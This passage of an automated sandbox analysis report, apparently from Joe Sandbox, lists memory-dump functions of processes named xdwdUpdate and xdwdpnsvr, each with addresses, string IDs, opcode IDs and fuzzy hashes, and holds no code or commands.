                                                                                                                                                                            Function 00007FFE6F7C0928 Relevance: 5.0, Strings: 4, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 8e6ac4e3dd61a96930d10ae14944da56f59c1895133ba78788ad4a5474e85e24
                                                                                                                                                                            • Instruction ID: c2d1d94d515464f08a0853b35aae925909015d13094c33ca31574804bc549d9f
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e6ac4e3dd61a96930d10ae14944da56f59c1895133ba78788ad4a5474e85e24
                                                                                                                                                                            • Instruction Fuzzy Hash: DED05E1B734C7A079244679DB4502D8D7C5E7C40F33908673EB41D229252506857C3E0

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7B32F0 Relevance: 1.7, Strings: 1, Instructions: 413COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(O_^
                                                                                                                                                                            • API String ID: 0-1444591895
                                                                                                                                                                            • Opcode ID: ccf525b07577622b16f0ab1c1e8314789fc54473e92916237167c5d516487f00
                                                                                                                                                                            • Instruction ID: 20dda63c68d34882cf9cfd5532319fcd2a69926c5f31e1abeaca68fc2d7d2e6b
                                                                                                                                                                            • Opcode Fuzzy Hash: ccf525b07577622b16f0ab1c1e8314789fc54473e92916237167c5d516487f00
                                                                                                                                                                            • Instruction Fuzzy Hash: B4D13E59C3E2DE8BF7A65B24D8161F63B604F23314F5551BAC489C71E3F81C798A83A2
                                                                                                                                                                            Function 00007FFE6F7B86E8 Relevance: 1.6, Strings: 1, Instructions: 374COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: {>
                                                                                                                                                                            • API String ID: 0-3919259914
                                                                                                                                                                            • Opcode ID: 8d9e176fb4a3e7864411a1175778fae6fad9bc454cdd510c95a3e2f9f87fc06c
                                                                                                                                                                            • Instruction ID: 60fb76a4ebd9377256f9b325c9691d0f66409f35fe18052df700c01ea30be6ea
                                                                                                                                                                            • Opcode Fuzzy Hash: 8d9e176fb4a3e7864411a1175778fae6fad9bc454cdd510c95a3e2f9f87fc06c
                                                                                                                                                                            • Instruction Fuzzy Hash: A5C19C1593E2CF8FE756AB7498562F43BA09F57205F0901BAD448CB1F3F91C785A8392
                                                                                                                                                                            Function 00007FFE6F7B1658 Relevance: 1.4, Strings: 1, Instructions: 176COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2O_^
                                                                                                                                                                            • API String ID: 0-1506690349
                                                                                                                                                                            • Opcode ID: 45f83cf66438ebc8a4a9a9c05f0ae1d5b93ae24917f826ae3cc559588646af29
                                                                                                                                                                            • Instruction ID: 3f0add3ce23baaa5353cab9edd7c1e9f47cbf6b8990a8beb5c74047f3fe4c877
                                                                                                                                                                            • Opcode Fuzzy Hash: 45f83cf66438ebc8a4a9a9c05f0ae1d5b93ae24917f826ae3cc559588646af29
                                                                                                                                                                            • Instruction Fuzzy Hash: 74610B5592E3CA8EE7579B3498252E53F609F17214F1902FBD088CB4F3F94C681A83A2
                                                                                                                                                                            Function 00007FFE6F7B32E0 Relevance: .2, Instructions: 203COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 02235e0a31c43bbeb84faa4a11cd57fbddde41917bed980290db1024da755b7d
                                                                                                                                                                            • Instruction ID: a9e9abbb977afec13b78a83e416cd0c6725be835831c40275539095666352fb4
                                                                                                                                                                            • Opcode Fuzzy Hash: 02235e0a31c43bbeb84faa4a11cd57fbddde41917bed980290db1024da755b7d
                                                                                                                                                                            • Instruction Fuzzy Hash: 35613728E3E09F87FBEA9B18C8475FA35409B53315F906639C84CC20E1FE1DB4DA4292
                                                                                                                                                                            Function 00007FFE6F7B351D Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(O_^
                                                                                                                                                                            • API String ID: 0-1444591895
                                                                                                                                                                            • Opcode ID: 7bc8cbbfeb36a3bd6301bd5e685ae2f7d1e4ae9459af8dbda07768c44d9cafdb
                                                                                                                                                                            • Instruction ID: 03b6b13bdb7cf60ba624a2a4abc8b2b7e947504f9c32a1bcd9940a7632dac591
                                                                                                                                                                            • Opcode Fuzzy Hash: 7bc8cbbfeb36a3bd6301bd5e685ae2f7d1e4ae9459af8dbda07768c44d9cafdb
                                                                                                                                                                            • Instruction Fuzzy Hash: 9C512B9A81E3D94FE7932B30A8752D13F754E2725871A40E7C4C6CB2E3E80D5E49C7A2
                                                                                                                                                                            Function 00007FFE6F7B16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2O_^
                                                                                                                                                                            • API String ID: 0-1506690349
                                                                                                                                                                            • Opcode ID: 2957d4484d82d46ca58b68ebec0434153c149dc53c96c18963a9929cfd5c6a92
                                                                                                                                                                            • Instruction ID: 71b866c35de6d8dd1e263c802037c144d85c050931112b82bf860c0506276fb2
                                                                                                                                                                            • Opcode Fuzzy Hash: 2957d4484d82d46ca58b68ebec0434153c149dc53c96c18963a9929cfd5c6a92
                                                                                                                                                                            • Instruction Fuzzy Hash: 2521FA29E3E49F81FB68AA28D8162FA31418F6A359F545678E44CC31F3FE9C741A41D2
                                                                                                                                                                            Function 00007FFE6F7B1647 Relevance: 1.3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2O_^
                                                                                                                                                                            • API String ID: 0-1506690349
                                                                                                                                                                            • Opcode ID: 23e14000ef7237a781f2bcee604409ca2dd2d7018d4f4e62f3ece0851e1d8221
                                                                                                                                                                            • Instruction ID: b484da36e4e7a768d5518c3343cd6527b794aa06aaab1ac0a0a67a9c7607c7d9
                                                                                                                                                                            • Opcode Fuzzy Hash: 23e14000ef7237a781f2bcee604409ca2dd2d7018d4f4e62f3ece0851e1d8221
                                                                                                                                                                            • Instruction Fuzzy Hash: 63215719D3E1DF85FB69AB24D81A5FA3B109F57259F0805BAD488C70F3FD8C341A42A2
                                                                                                                                                                            Function 00007FFE6F7B248C Relevance: 1.1, Instructions: 1058COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 9b0f8dd878ff553563f0a8a540952394f0fb3f9e0d269f5c01a3d484df8cfcd9
                                                                                                                                                                            • Instruction ID: 822c5e9066bd0d20b47472d8d46f2326ed6edc90a2318161d731fca60c22b40c
                                                                                                                                                                            • Opcode Fuzzy Hash: 9b0f8dd878ff553563f0a8a540952394f0fb3f9e0d269f5c01a3d484df8cfcd9
                                                                                                                                                                            • Instruction Fuzzy Hash: CE728125F3E58E8AE755BB38C4556BE3292AF8A351F910474E00ED72E3ED3CB8428741
                                                                                                                                                                            Function 00007FFE6F7BD6AA Relevance: .5, Instructions: 531COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2da7e8773663a98c71513a409645edad38a7409126d631511f3f1349836101d9
                                                                                                                                                                            • Instruction ID: 67dd79066973735eacabd121b0c35b7a532a4bc7e37a312d012724154f522937
                                                                                                                                                                            • Opcode Fuzzy Hash: 2da7e8773663a98c71513a409645edad38a7409126d631511f3f1349836101d9
                                                                                                                                                                            • Instruction Fuzzy Hash: D2F1B621D7D6CA4FE756AB7888162E937D29F5A314F0905B6D04DC72F3FC2CA8468392
                                                                                                                                                                            Function 00007FFE6F7B26CC Relevance: .5, Instructions: 469COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f65bd3c5236d842b050b21589e2e3d247f81f04274744ac558dc8a5f0d90ce64
                                                                                                                                                                            • Instruction ID: 2d0b7e6eac7820049eeb064665f83178fc48ce76b3d87c18ed0a2bc154700c67
                                                                                                                                                                            • Opcode Fuzzy Hash: f65bd3c5236d842b050b21589e2e3d247f81f04274744ac558dc8a5f0d90ce64
                                                                                                                                                                            • Instruction Fuzzy Hash: 1EF13E25F3A49E4AE755BB3CC4696BE2192AB8D355F910434E00ED72E7ED3CB8428741
                                                                                                                                                                            Function 00007FFE6F7BD57D Relevance: .4, Instructions: 389COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 62adcc6050330a78834642ded3d4b4ae0e788e505e245ba59b9c2a14c722ba98
                                                                                                                                                                            • Instruction ID: 661be84fb2aedfccc96875e8639057dd9e028a94327e38381014fc4617079f01
                                                                                                                                                                            • Opcode Fuzzy Hash: 62adcc6050330a78834642ded3d4b4ae0e788e505e245ba59b9c2a14c722ba98
                                                                                                                                                                            • Instruction Fuzzy Hash: 36C18026E7D59E4BEB69BB3CC8062F971C2AB99315F550574E40DC32E2FC2CB8478281
                                                                                                                                                                            Function 00007FFE6F7B12C0 Relevance: .4, Instructions: 366COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2f02fbabdb0178158be52b59ca7baab038a08690ac94ce5a513327f2e33074d8
                                                                                                                                                                            • Instruction ID: f1aea17e97ce7d94babdba7233cdeea80ed1e1fd24de148accb1d9148a642d30
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f02fbabdb0178158be52b59ca7baab038a08690ac94ce5a513327f2e33074d8
                                                                                                                                                                            • Instruction Fuzzy Hash: 0DB16226E7949E4BFBA9BB3CC4062F971C2AB99315F550574E40DC32E6FC2CB8578281
                                                                                                                                                                            Function 00007FFE6F7BDF8A Relevance: .2, Instructions: 226COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f87b47acab539f1cb79ad9cf978896269e7fcbcd83d0b1d103e73e5e4d635ff0
                                                                                                                                                                            • Instruction ID: 010066e8bab55989a0c0a6b6becc678605d3bdb413301eb446d89d4ae91a2994
                                                                                                                                                                            • Opcode Fuzzy Hash: f87b47acab539f1cb79ad9cf978896269e7fcbcd83d0b1d103e73e5e4d635ff0
                                                                                                                                                                            • Instruction Fuzzy Hash: A4718465D3E2CE8EE7665B24D8162E53B619F17311F2901FAD488C72F3F91C781A8392
                                                                                                                                                                            Function 00007FFE6F7BBF03 Relevance: .2, Instructions: 220COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5434f47f40645b3d7e4f9a59930807266167c05005e90cbbfa3720b0241cf868
                                                                                                                                                                            • Instruction ID: 245a234d6e79bbdb516a7323207dadf058b174dfeec9b91e1951121bbacea99e
                                                                                                                                                                            • Opcode Fuzzy Hash: 5434f47f40645b3d7e4f9a59930807266167c05005e90cbbfa3720b0241cf868
                                                                                                                                                                            • Instruction Fuzzy Hash: 8D61632983F6CE8FE7264B249C651E57BA09F57212F1941FBD488C70E3FA0D784A8352
                                                                                                                                                                            Function 00007FFE6F7B1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a673a7e29259ab76db95fc289c1e02a20792300563c686447cbfbc1b7dacdbcf
                                                                                                                                                                            • Instruction ID: 5e79bf02fb1b1ce75d3370c07b1e95c86a841da762d0d89f25cb7840206b8df2
                                                                                                                                                                            • Opcode Fuzzy Hash: a673a7e29259ab76db95fc289c1e02a20792300563c686447cbfbc1b7dacdbcf
                                                                                                                                                                            • Instruction Fuzzy Hash: BA518E16F3E6CF4AF6427BBC54261EE6D919F87201B8144B4E09EE72E7FC1CA9118352
                                                                                                                                                                            Function 00007FFE6F7B446C Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fa16ae5c4c29a7ae304dfb914aaebdbd7c13158ec5e1b2dbe43e86ef50a79917
                                                                                                                                                                            • Instruction ID: a4f6a0fc557c37f8f6369049dc59833a84af8b463627136580ae038df1c4e98f
                                                                                                                                                                            • Opcode Fuzzy Hash: fa16ae5c4c29a7ae304dfb914aaebdbd7c13158ec5e1b2dbe43e86ef50a79917
                                                                                                                                                                            • Instruction Fuzzy Hash: 89517131918A5C8FDB58DF58D845BE9BBF1FF59310F0082AAD44DE3252DE34A984CB81
                                                                                                                                                                            Function 00007FFE6F7B71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8f64dcd2298471870fbecfa2aaf43f64c98f3b4dfb78f3813ddc32f612a13baa
                                                                                                                                                                            • Instruction ID: 0942be23fed62b54eb7577fc0e12fa757f4c8532c0498c8ca895b9cd2001708a
                                                                                                                                                                            • Opcode Fuzzy Hash: 8f64dcd2298471870fbecfa2aaf43f64c98f3b4dfb78f3813ddc32f612a13baa
                                                                                                                                                                            • Instruction Fuzzy Hash: 93518B30918A8D8FEB64DF28D8457E977E1FF54300F10426EE84DC3695DF34A9458B82
                                                                                                                                                                            Function 00007FFE6F7B7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 392ad6469231bcca6e3616cf7804d16d6f882c547fd87e9bbed0c49ee1511ab3
                                                                                                                                                                            • Instruction ID: db4d7210a68b7b71f2b3fd2aad96dcf066a3c0b3407a6abc3d08713b71ebe807
                                                                                                                                                                            • Opcode Fuzzy Hash: 392ad6469231bcca6e3616cf7804d16d6f882c547fd87e9bbed0c49ee1511ab3
                                                                                                                                                                            • Instruction Fuzzy Hash: 29519330528A8D8FEBA8DF28C8457E977D1FF55310F04826DE84DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7BB231 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 49909e1a2b86a1fc1e4855dd31aa1e48fdcb2878f07c7773b17e91099ca33b8c
                                                                                                                                                                            • Instruction ID: 0a32259223d772de39e24f9aa312c7576792f6b8d0aa5c190e5a88378d16295b
                                                                                                                                                                            • Opcode Fuzzy Hash: 49909e1a2b86a1fc1e4855dd31aa1e48fdcb2878f07c7773b17e91099ca33b8c
                                                                                                                                                                            • Instruction Fuzzy Hash: 99518725D3E6CE8FE7615B68C8952E83BA0AF57310F1A41BBD88CC71E3E92D78458351
                                                                                                                                                                            Function 00007FFE6F7BC0F8 Relevance: .2, Instructions: 170COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1c2b50f61d5ce22c4436734308963db1d9c7d9aa7265531c78bf500c3e2805a9
                                                                                                                                                                            • Instruction ID: 3d5fe7f25c1f27f2d074a499c47ea4641d7446de846e80ef47f7c256cb24a6ff
                                                                                                                                                                            • Opcode Fuzzy Hash: 1c2b50f61d5ce22c4436734308963db1d9c7d9aa7265531c78bf500c3e2805a9
                                                                                                                                                                            • Instruction Fuzzy Hash: A051B269D3E58E8BEF98DF58D8166F83790EF66302F548139D40AE72E2FE1874058681
                                                                                                                                                                            Function 00007FFE6F7BC5CD Relevance: .2, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 844aca79356cd82520c3f86b6f166d6c693e0279ceea995d2b4722c6f6f2fe2e
                                                                                                                                                                            • Instruction ID: b8be258ef94e1173cfde467c537651ea0359c0533e7c2664e3cc709eeee817e4
                                                                                                                                                                            • Opcode Fuzzy Hash: 844aca79356cd82520c3f86b6f166d6c693e0279ceea995d2b4722c6f6f2fe2e
                                                                                                                                                                            • Instruction Fuzzy Hash: 0751AE2593E58ECFEB56AF28C8166F837A1EF5B306F4441BAD009C71E2FE2878018341
                                                                                                                                                                            Function 00007FFE6F7BACE7 Relevance: .2, Instructions: 160COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5cd23914c60a6d14859009d5c7f4d81a745a856a54a3ec5bbf5609d6dafaa7c2
                                                                                                                                                                            • Instruction ID: e84c3f7ce1b6b5cb4df3b416ec38eed7e08f2c3c569ad5647d17f075d31e61fe
                                                                                                                                                                            • Opcode Fuzzy Hash: 5cd23914c60a6d14859009d5c7f4d81a745a856a54a3ec5bbf5609d6dafaa7c2
                                                                                                                                                                            • Instruction Fuzzy Hash: 0F512B35A3995D9FEB98FF68D8466FC76E1EF59301F400479E40DD32A2EE2868418750
                                                                                                                                                                            Function 00007FFE6F7BAA66 Relevance: .2, Instructions: 150COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 365bcaec7afc47be187b7ae235e51c18544fcd7a4f42305825fcb4dbd8c1a2a1
                                                                                                                                                                            • Instruction ID: badfd8a34272d3a11e54f188f9d7735600a2aa7ed7084f9313eaad985755551e
                                                                                                                                                                            • Opcode Fuzzy Hash: 365bcaec7afc47be187b7ae235e51c18544fcd7a4f42305825fcb4dbd8c1a2a1
                                                                                                                                                                            • Instruction Fuzzy Hash: 96419030A3595D8FEB98FF6884596F9B3E1FF59301F500179D40ED72A6EE34A8428340
                                                                                                                                                                            Function 00007FFE6F7B2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 883308c527c1cf7074ef62345675def0033bc49bfbb46938b9256b6c288776e1
                                                                                                                                                                            • Instruction ID: 46e29c12bfba31d9ee4a5523a1d30ac91fffc60bfa3465517cd602cdb909a037
